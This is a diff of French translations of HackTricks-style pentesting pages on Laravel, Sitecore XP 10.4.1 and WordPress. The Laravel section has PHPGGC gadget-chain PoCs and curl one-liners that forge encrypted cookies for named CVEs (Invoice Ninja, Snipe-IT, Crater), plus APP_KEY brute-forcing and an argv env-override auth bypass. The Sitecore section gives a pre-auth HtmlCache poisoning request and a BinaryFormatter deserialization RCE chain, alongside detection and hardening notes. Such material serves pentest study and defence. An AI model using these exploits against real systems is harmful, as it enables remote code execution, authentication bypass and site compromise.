||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,16 +20,18 @@ Le texte chiffré brut qui est finalement **envoyé au client** est un **Base64
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur déchiffrée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut fabriquer un objet PHP sérialisé chiffré et obtenir une RCE via magic methods (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, alors que
|
||||
`decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur déchiffrée.
|
||||
Par conséquent, **tout attaquant connaissant la clé secrète de 32 octets `APP_KEY` peut créer un objet PHP sérialisé chiffré et obtenir une RCE via les méthodes magiques (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
PoC minimal (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injectez la chaîne produite dans n'importe quel sink vulnérable `decrypt()` (paramètre de route, cookie, session, …).
|
||||
Injectez la chaîne produite dans n'importe quel sink `decrypt()` vulnérable (route param, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Le script prend en charge de manière transparente les payloads CBC et GCM et régénère le champ HMAC/tag.
|
||||
Le script prend en charge de façon transparente les payloads CBC et GCM et régénère le champ HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Schémas vulnérables réels
|
||||
|
||||
| Projet | Sink vulnérable | Gadget chain |
|
||||
|--------|-----------------|--------------|
|
||||
| Projet | Vulnerable sink | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
La procédure d'exploitation est toujours la suivante :
|
||||
1. Obtenir ou brute-force la `APP_KEY` de 32 octets.
|
||||
Le processus d'exploitation est toujours :
|
||||
1. Obtenir ou brute-force le `APP_KEY` de 32 octets.
|
||||
2. Construire une gadget chain avec **PHPGGC** (par exemple `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`).
|
||||
3. Chiffrer le gadget sérialisé avec **laravel_crypto_killer.py** et la `APP_KEY` récupérée.
|
||||
4. Fournir le ciphertext au sink vulnérable `decrypt()` (route parameter, cookie, session …) pour déclencher **RCE**.
|
||||
3. Chiffrer le gadget sérialisé avec **laravel_crypto_killer.py** et le `APP_KEY` récupéré.
|
||||
4. Envoyer le ciphertext au sink vulnérable `decrypt()` (paramètre de route, cookie, session …) pour déclencher **RCE**.
|
||||
|
||||
Ci-dessous des one-liners concis montrant le chemin d'attaque complet pour chaque CVE réel mentionné ci‑dessus:
|
||||
Ci-dessous, des one-liners concis démontrant le chemin d'attaque complet pour chaque CVE réel mentionné ci‑dessus :
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -80,36 +82,36 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## Découverte massive d'APP_KEY via cookie brute-force
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
|
||||
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** qui peuvent être attaqués hors-ligne.
|
||||
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (`XSRF-TOKEN` et habituellement `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** qui peuvent être attaqués hors ligne.
|
||||
|
||||
Principales découvertes de la recherche publiée par Synacktiv (2024-2025) :
|
||||
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
|
||||
* Réutilisation massive de clés – les Top-10 APP_KEYs sont des valeurs par défaut hard-coded fournies avec des templates Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
* >1 000 serveurs encore vulnérables au legacy CVE-2018-15133 parce que les tokens contiennent directement des données sérialisées.
|
||||
* Réutilisation massive des clés – les Top-10 APP_KEYs sont des valeurs par défaut codées en dur fournies avec des templates commerciaux Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil privé Go **nounours** pousse le throughput AES-CBC/GCM bruteforce à ~1.5 billion tries/s, réduisant le craquage de l'ensemble des données à <2 minutes.
|
||||
L'outil privé Go **nounours** pousse le throughput de bruteforce AES-CBC/GCM à ~1.5 billion tries/s, réduisant le craquage de l'ensemble du dataset à <2 minutes.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
Quand `register_argc_argv=On` de PHP (typique sur de nombreuses distros), PHP expose un tableau `argv` pour les requêtes HTTP dérivé de la query string. Les versions récentes de Laravel ont parsé ces args “CLI-like” et ont pris en compte `--env=<value>` à l'exécution. Cela permet de basculer l'environnement du framework pour la requête HTTP courante simplement en l'ajoutant à n'importe quelle URL :
|
||||
Lorsque `register_argc_argv=On` de PHP (typique sur de nombreuses distributions), PHP expose un tableau `argv` pour les requêtes HTTP dérivé de la query string. Les versions récentes de Laravel analysaient ces args “CLI-like” et respectaient `--env=<value>` à l'exécution. Cela permet de basculer l'environnement du framework pour la requête HTTP courante simplement en l'ajoutant à n'importe quelle URL :
|
||||
|
||||
- Vérification rapide :
|
||||
- Visiter `https://target/?--env=local` ou toute autre chaîne et chercher des changements dépendants de l'environnement (bannières de debug, bas de page, erreurs détaillées). Si la chaîne est reflétée, l'override fonctionne.
|
||||
- Visitez `https://target/?--env=local` ou toute chaîne et recherchez des changements dépendant de l'environnement (debug banners, footers, erreurs verbeuses). Si la chaîne est reflétée, l'override fonctionne.
|
||||
|
||||
- Exemple d'impact (logique métier faisant confiance à un env spécial) :
|
||||
- Si l'app contient des branches comme `if (app()->environment('preprod')) { /* bypass auth */ }`, vous pouvez vous authentifier sans identifiants valides en envoyant le POST de login à :
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes :
|
||||
- Fonctionne par requête, sans persistance.
|
||||
- Nécessite `register_argc_argv=On` et une version vulnérable de Laravel qui lit argv pour HTTP.
|
||||
- Primitive utile pour obtenir des erreurs plus verbeuses dans des envs “debug” ou pour déclencher des chemins de code protégés par l'environnement.
|
||||
- Remarques :
|
||||
- Fonctionne par requête, pas de persistance.
|
||||
- Nécessite `register_argc_argv=On` et une version de Laravel vulnérable qui lit argv pour HTTP.
|
||||
- Primitive utile pour faire apparaître des erreurs plus verbeuses dans des envs “debug” ou pour déclencher des chemins de code conditionnés par l'environnement.
|
||||
|
||||
- Mitigations :
|
||||
- Atténuations :
|
||||
- Désactiver `register_argc_argv` pour PHP-FPM/Apache.
|
||||
- Mettre à jour Laravel pour ignorer argv sur les requêtes HTTP et supprimer toute hypothèse de confiance liée à `app()->environment()` dans les routes de production.
|
||||
|
||||
@ -127,21 +129,21 @@ email=a@b.c&password=whatever&remember=0xdf
|
||||
|
||||
### Mode de débogage
|
||||
|
||||
If Laravel is in **mode de débogage** you will be able to access the **code** and **sensitive data**.\
|
||||
For example `http://127.0.0.1:8000/profiles`:
|
||||
Si Laravel est en **mode de débogage** vous pourrez accéder au **code** et aux **données sensibles**.\
|
||||
Par exemple `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Ceci est généralement nécessaire pour exploiter d'autres CVE RCE de Laravel.
|
||||
Ceci est généralement nécessaire pour exploiter d'autres Laravel RCE CVEs.
|
||||
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
### Fingerprinting & endpoints dev exposés
|
||||
|
||||
Vérifications rapides pour identifier une stack Laravel et des outils dev dangereux exposés en production :
|
||||
|
||||
- `/_ignition/health-check` → Ignition présent (outil de debug utilisé par CVE-2021-3129). Si accessible sans authentification, l'application peut être en mode de débogage ou mal configurée.
|
||||
- `/_debugbar` → assets Laravel Debugbar ; indique souvent le mode de débogage.
|
||||
- `/telescope` → Laravel Telescope (dev monitor). Si accessible publiquement, attendez une divulgation importante d'informations et des actions possibles.
|
||||
- `/horizon` → queue dashboard ; divulgation de version et parfois actions protégées par CSRF.
|
||||
- `/telescope` → Laravel Telescope (moniteur dev). Si public, attendez‑vous à une large divulgation d'informations et à des actions possibles.
|
||||
- `/horizon` → tableau de bord de la file d'attente ; divulgation de la version et parfois actions protégées par CSRF.
|
||||
- `X-Powered-By`, les cookies `XSRF-TOKEN` et `laravel_session`, et les pages d'erreur Blade aident aussi au fingerprinting.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
@ -151,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et autres identifiants dans un fichier nommé `.env` qui peut être accédé via un path traversal : `/../.env`
|
||||
Laravel enregistre l'APP qu'il utilise pour encrypt les cookies et autres identifiants dans un fichier appelé `.env` qui peut être accédé via un path traversal : `/../.env`
|
||||
|
||||
Laravel affichera aussi ces informations sur la debug page (qui apparaît lorsque Laravel rencontre une erreur et que le debug est activé).
|
||||
Laravel affichera aussi ces informations dans la debug page (qui apparaît quand Laravel détecte une erreur et que le debug est activé).
|
||||
|
||||
En utilisant l'APP_KEY secret de Laravel, vous pouvez déchiffrer et rechiffrer les cookies :
|
||||
En utilisant le secret APP_KEY de Laravel, vous pouvez decrypt et re-encrypt les cookies :
|
||||
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
@ -222,12 +224,12 @@ Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 ([https://www.cvedetails
|
||||
|
||||
Vous trouverez des informations sur la vulnérabilité de désérialisation ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Vous pouvez le tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ou vous pouvez également l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`
|
||||
Vous pouvez la tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ou vous pouvez aussi l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
Une autre vulnérabilité de désérialisation : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
Une autre deserialization : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
|
||||
|
||||
|
@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page résume une chaîne d'attaque pratique contre Sitecore XP 10.4.1 qui pivote d'un pre‑auth XAML handler vers HTML cache poisoning et, via un flux UI authentifié, aboutit à une RCE via BinaryFormatter deserialization. Les techniques se généralisent à des versions/composants similaires de Sitecore et fournissent des primitives concrètes pour tester, détecter et durcir.
|
||||
Cette page résume une chaîne d'attaque pratique contre Sitecore XP 10.4.1 qui pivote d'un pre‑auth XAML handler vers HTML cache poisoning et, via un authenticated UI flow, vers RCE via BinaryFormatter deserialization. Les techniques se généralisent à des versions/composants Sitecore similaires et fournissent des primitives concrètes pour tester, détecter et durcir.
|
||||
|
||||
- Produit affecté testé : Sitecore XP 10.4.1 rev. 011628
|
||||
- Corrigé dans : KB1003667, KB1003734 (June/July 2025)
|
||||
- Corrigé dans : KB1003667, KB1003734 (juin/juillet 2025)
|
||||
|
||||
Voir aussi :
|
||||
|
||||
@ -19,7 +19,7 @@ Voir aussi :
|
||||
|
||||
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
|
||||
|
||||
Le point d'entrée est le pre‑auth XAML handler enregistré dans web.config :
|
||||
Le point d'entrée est le pre‑auth XAML handler enregistré dans web.config:
|
||||
```xml
|
||||
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
|
||||
```
|
||||
@ -27,7 +27,7 @@ Accessible via :
|
||||
```
|
||||
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
```
|
||||
L'arborescence des contrôles inclut AjaxScriptManager qui, lors des requêtes d'événements, lit des champs contrôlés par l'attaquant et invoque par réflexion des méthodes sur les contrôles ciblés :
|
||||
L'arbre de contrôles inclut AjaxScriptManager qui, lors des requêtes d'événements, lit des champs contrôlés par l'attaquant et invoque de manière réflexive des méthodes sur les contrôles ciblés :
|
||||
```csharp
|
||||
// AjaxScriptManager.OnPreRender
|
||||
string clientId = page.Request.Form["__SOURCE"]; // target control
|
||||
@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
|
||||
// Alternate branch for XML-based controls
|
||||
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
|
||||
```
|
||||
Observation clé : la page XAML inclut une instance de XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dérive de Sitecore.Web.UI.WebControl (une classe Sitecore), qui passe la allow‑list ReflectionUtil.Filter (Sitecore.*), déverrouillant des méthodes sur Sitecore WebControl.
|
||||
Observation clé : la page XAML inclut une instance XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl hérite de Sitecore.Web.UI.WebControl (une classe Sitecore), qui passe l'allow‑list ReflectionUtil.Filter (Sitecore.*), déverrouillant des méthodes sur Sitecore WebControl.
|
||||
|
||||
Méthode magique pour poisoning:
|
||||
Méthode magique pour poisoning :
|
||||
```csharp
|
||||
// Sitecore.Web.UI.WebControl
|
||||
protected virtual void AddToCache(string cacheKey, string html) {
|
||||
@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
|
||||
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
|
||||
}
|
||||
```
|
||||
Parce que nous pouvons cibler xmlcontrol:GlobalHeader et appeler des méthodes de Sitecore.Web.UI.WebControl par leur nom, nous obtenons un primitif d'écriture arbitraire de HtmlCache pre-auth.
|
||||
Parce que nous pouvons cibler xmlcontrol:GlobalHeader et appeler les méthodes Sitecore.Web.UI.WebControl par leur nom, nous obtenons un pre‑auth arbitrary HtmlCache write primitive.
|
||||
|
||||
### Requête PoC (CVE-2025-53693)
|
||||
```
|
||||
@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded
|
||||
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
Remarques :
|
||||
- __SOURCE est le clientID de xmlcontrol:GlobalHeader au sein de Sitecore.Shell.Xaml.WebControl (généralement stable comme ctl00_ctl00_ctl05_ctl03 car il est dérivé d'un XAML statique).
|
||||
- __PARAMETERS le format est Method("arg1","arg2").
|
||||
- __SOURCE est le clientID de xmlcontrol:GlobalHeader au sein de Sitecore.Shell.Xaml.WebControl (souvent stable comme ctl00_ctl00_ctl05_ctl03 car il est dérivé du XAML statique).
|
||||
- __PARAMETERS est au format Method("arg1","arg2").
|
||||
|
||||
## Quoi empoisonner : construction de la clé de cache
|
||||
## What to poison: Cache key construction
|
||||
|
||||
Construction typique de la clé HtmlCache utilisée par les contrôles Sitecore :
|
||||
Construction typique de clé HtmlCache utilisée par les Sitecore controls:
|
||||
```csharp
|
||||
public virtual string GetCacheKey(){
|
||||
SiteContext site = Sitecore.Context.Site;
|
||||
@ -94,17 +94,17 @@ Exemple de targeted poisoning pour un sublayout connu :
|
||||
```
|
||||
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
## Énumération des éléments cacheables et “vary by” dimensions
|
||||
## Enumération des éléments mis en cache et des dimensions “vary by”
|
||||
|
||||
Si ItemService est (mal)exposé anonymement, vous pouvez énumérer les composants cacheables pour dériver des clés exactes.
|
||||
Si l'ItemService est (mal) exposé anonymement, vous pouvez énumérer les composants mis en cache pour déduire les clés exactes.
|
||||
|
||||
Test rapide:
|
||||
Sonde rapide:
|
||||
```
|
||||
GET /sitecore/api/ssc/item
|
||||
// 404 Sitecore error body → exposed (anonymous)
|
||||
// 403 → blocked/auth required
|
||||
```
|
||||
Lister les éléments cacheables et les flags :
|
||||
Liste des éléments cacheables et des flags :
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
|
||||
```
|
||||
@ -114,7 +114,7 @@ GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page
|
||||
```
|
||||
### Side‑channel enumeration sous des identités restreintes (CVE-2025-53694)
|
||||
|
||||
Même lorsque ItemService se fait passer pour un compte limité (par ex., ServicesAPI) et renvoie un tableau Results vide, TotalCount peut encore refléter des pre‑ACL Solr hits. Vous pouvez brute‑force item groups/ids avec des wildcards et observer TotalCount converger pour cartographier le contenu interne et les devices:
|
||||
Même lorsque ItemService se fait passer pour un compte limité (p. ex., ServicesAPI) et renvoie un tableau Results vide, TotalCount peut toujours refléter des hits Solr pré‑ACL. Vous pouvez brute‑force item groups/ids avec des wildcards et observer TotalCount converger pour cartographier le contenu interne et les appareils :
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
|
||||
→ "TotalCount": 3
|
||||
@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
|
||||
→ narrow to a specific item
|
||||
```
|
||||
## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
|
||||
## Post‑auth RCE: BinaryFormatter sink dans convertToRuntimeHtml (CVE-2025-53691)
|
||||
|
||||
Sink:
|
||||
```csharp
|
||||
@ -131,14 +131,14 @@ Sink:
|
||||
byte[] b = Convert.FromBase64String(data);
|
||||
return new BinaryFormatter().Deserialize(new MemoryStream(b));
|
||||
```
|
||||
Accessible via l'étape de pipeline convertToRuntimeHtml ConvertWebControls, qui recherche un élément ayant pour id {iframeId}_inner, décode son contenu en base64 et le désérialise, puis injecte la chaîne résultante dans le HTML :
|
||||
Accessible via l'étape ConvertWebControls du pipeline convertToRuntimeHtml, qui recherche un élément avec l'id {iframeId}_inner, le décode en base64 et le désérialise, puis injecte la chaîne résultante dans le HTML :
|
||||
```csharp
|
||||
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
|
||||
string text2 = inner?.GetAttributeValue("value", "");
|
||||
if (text2.Length > 0)
|
||||
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
|
||||
```
|
||||
Déclencheur (authentifié, droits Content Editor). La boîte de dialogue FixHtml appelle convertToRuntimeHtml. De bout en bout sans clics dans l'UI :
|
||||
Déclenchement (authentifié, droits Content Editor). La boîte de dialogue FixHtml appelle convertToRuntimeHtml. De bout en bout sans clics UI :
|
||||
```
|
||||
// 1) Start Content Editor
|
||||
GET /sitecore/shell/Applications/Content%20Editor.aspx
|
||||
@ -159,8 +159,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
|
||||
|
||||
Génération de gadget : utiliser ysoserial.net / YSoNet avec BinaryFormatter pour produire une charge utile base64 renvoyant une chaîne. Le contenu de la chaîne est écrit dans le HTML par ConvertWebControls après l'exécution des effets de bord de désérialisation.
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
|
||||
@ -168,21 +167,21 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a
|
||||
|
||||
## Chaîne complète
|
||||
|
||||
1) Un attaquant pré‑auth empoisonne HtmlCache avec du HTML arbitraire en invoquant reflectively WebControl.AddToCache via XAML AjaxScriptManager.
|
||||
2) Le HTML empoisonné sert du JavaScript qui incite un utilisateur authentifié Content Editor à travers le flux FixHtml.
|
||||
3) La page FixHtml déclenche convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE sous l'identité du pool d'applications Sitecore.
|
||||
1) Un attaquant non authentifié empoisonne HtmlCache avec du HTML arbitraire en invoquant par réflexion WebControl.AddToCache via XAML AjaxScriptManager.
|
||||
2) Le HTML empoisonné sert du JavaScript qui incite un utilisateur Content Editor authentifié à suivre le flux FixHtml.
|
||||
3) La page FixHtml déclenche convertToRuntimeHtml → ConvertWebControls, qui désérialise un base64 contrôlé par l'attaquant via BinaryFormatter → RCE sous l'identité du pool d'applications Sitecore.
|
||||
|
||||
## Détection
|
||||
|
||||
- XAML pré‑auth : requêtes vers `/-/xaml/Sitecore.Shell.Xaml.WebControl` avec `__ISEVENT=1`, `__SOURCE` suspect et `__PARAMETERS=AddToCache(...)`.
|
||||
- ItemService probing : pics de requêtes wildcard vers `/sitecore/api/ssc`, grand `TotalCount` avec `Results` vides.
|
||||
- Deserialization attempts : `EditHtml.aspx` suivi de `FixHtml.aspx?hdl=...` et base64 anormalement volumineux dans les champs HTML.
|
||||
- XAML pré-authentifié : requêtes vers `/-/xaml/Sitecore.Shell.Xaml.WebControl` avec `__ISEVENT=1`, `__SOURCE` suspect et `__PARAMETERS=AddToCache(...)`.
|
||||
- Sondage ItemService : pics de requêtes génériques vers `/sitecore/api/ssc`, `TotalCount` élevé avec `Results` vide.
|
||||
- Tentatives de désérialisation : `EditHtml.aspx` suivi de `FixHtml.aspx?hdl=...` et base64 anormalement volumineux dans les champs HTML.
|
||||
|
||||
## Durcissement
|
||||
|
||||
- Appliquer les patches Sitecore KB1003667 et KB1003734 ; gate/disable les handlers XAML pré‑auth ou ajouter une validation stricte ; surveiller et rate‑limiter `/-/xaml/`.
|
||||
- Supprimer/remplacer BinaryFormatter ; restreindre l'accès à convertToRuntimeHtml ou imposer une validation serveur forte des flux d'édition HTML.
|
||||
- Verrouiller `/sitecore/api/ssc` sur loopback ou des rôles authentifiés ; éviter les impersonation patterns qui leak des canaux secondaires basés sur `TotalCount`.
|
||||
- Appliquer les patches Sitecore KB1003667 et KB1003734 ; bloquer/désactiver les handlers XAML pré-authentifiés ou ajouter une validation stricte ; surveiller et limiter le débit de `/-/xaml/`.
|
||||
- Supprimer/remplacer BinaryFormatter ; restreindre l'accès à convertToRuntimeHtml ou appliquer une validation serveur forte des flux d'édition HTML.
|
||||
- Restreindre `/sitecore/api/ssc` à loopback ou à des rôles authentifiés ; éviter les impersonation patterns qui leak `TotalCount`‑based side channels.
|
||||
- Imposer MFA/least privilege pour les utilisateurs Content Editor ; revoir la CSP pour réduire l'impact du JS steering issu du cache poisoning.
|
||||
|
||||
## Références
|
||||
|
@ -4,49 +4,49 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
- **Fichiers téléversés** se trouvent à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Les fichiers de thème se trouvent dans /wp-content/themes/,** donc si vous modifiez du php du thème pour obtenir une RCE vous utiliserez probablement ce chemin. Par exemple : En utilisant **le thème twentytwelve** vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Une autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Dans **wp-config.php** vous pouvez trouver le mot de passe root de la base de données.
|
||||
- Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** you can find the root password of the database.
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Principaux fichiers WordPress**
|
||||
### **Fichiers principaux de WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contient des informations utiles comme la version de WordPress installée.
|
||||
- `wp-activate.php` est utilisé pour le processus d'activation par e-mail lors de la création d'un nouveau site WordPress.
|
||||
- Dossiers de connexion (peuvent être renommés pour les masquer) :
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress permettant de transmettre des données via HTTP en tant que mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'[REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Dossiers de connexion (peuvent être renommés pour les cacher) :
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress permettant la transmission de données avec HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés.
|
||||
- `wp-content/uploads/` est le répertoire où sont stockés tous les fichiers téléversés sur la plateforme.
|
||||
- `wp-includes/` est le répertoire où sont stockés les fichiers core, tels que certificats, polices, fichiers JavaScript et widgets.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies publiquement interrogeables.
|
||||
- `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
|
||||
- `wp-includes/` est le répertoire où se trouvent les fichiers core, tels que certificats, polices, fichiers JavaScript et widgets.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies consultables publiquement.
|
||||
|
||||
**Post-exploitation**
|
||||
|
||||
- Le fichier `wp-config.php` contient les informations nécessaires à WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base, le nom d'utilisateur et le mot de passe, les authentication keys et salts, ainsi que le préfixe des tables de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
|
||||
- Le fichier `wp-config.php` contient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base de données, l'hôte de la base, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
|
||||
|
||||
### Permissions des utilisateurs
|
||||
|
||||
- **Administrateur**
|
||||
- **Éditeur** : Publie et gère ses propres articles et ceux des autres
|
||||
- **Auteur** : Publie et gère ses propres articles
|
||||
- **Contributeur** : Rédige et gère ses articles mais ne peut pas les publier
|
||||
- **Abonné** : Parcourt les articles et édite son profil
|
||||
- **Éditeur** : Publie et gère ses propres posts et ceux des autres
|
||||
